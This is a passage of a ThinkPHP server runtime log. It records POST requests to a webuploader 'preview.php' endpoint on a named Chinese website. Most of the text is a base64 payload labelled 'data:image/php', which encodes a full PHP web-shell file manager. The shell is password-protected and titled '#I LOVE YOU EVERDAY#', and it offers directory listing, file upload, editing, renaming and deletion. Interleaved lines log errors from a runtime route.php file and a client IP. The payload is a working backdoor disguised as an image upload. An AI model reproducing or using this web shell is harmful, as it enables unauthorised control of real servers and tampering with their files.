5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.15', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:30:54+08:00 ] 119.42.146.234 POST 51tianwei.com/public/static/common/lib/webuploader/0.1.15/server/preview.php [运行时间:0.002826s] [吞吐率:353.83req/s] [内存消耗:196.85kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzI